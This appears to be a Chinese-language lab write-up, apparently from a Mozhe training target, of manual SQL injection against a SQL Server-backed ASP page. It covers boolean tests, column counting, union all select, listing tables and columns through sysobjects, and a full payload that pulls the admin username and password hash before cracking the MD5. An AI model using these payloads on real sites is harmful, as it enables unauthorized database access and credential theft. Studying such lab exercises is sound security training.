进入网页后,用and语句来判断是否有注入点,当输入and 1=2时,页面报错,而输入and 1=1时,页面恢复,说明可能存在注入点
用order by 语句来判断字段数,因为order by5时页面报错,而order by4时页面没有报错,则说明该字段数为4
用union select语句,但页面报错,网页不兼容,则上网查了查,需要用union all select
但页面仍然报错,考虑字符串的问题,后面的数字逐个加单引号试,直至页面不报错
然后将2的位置换为db_name可得到数据库名字
接着进行表的注入查询
用select top 1 name from mozhe_db_v2dbo.sysobjects where xtype='u'注入查询
其中xtype='U' 代表是用户建立的表。
接着进行列的查询
用 select top 1 col_name(object_id('manage'),1) from sysobjects注入查询
不断递归查询,直至无新信息,则表明列的数量
通过/new_list.asp?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4来爆字段
用MD5进行在线解密
便可得到用户名和密码登录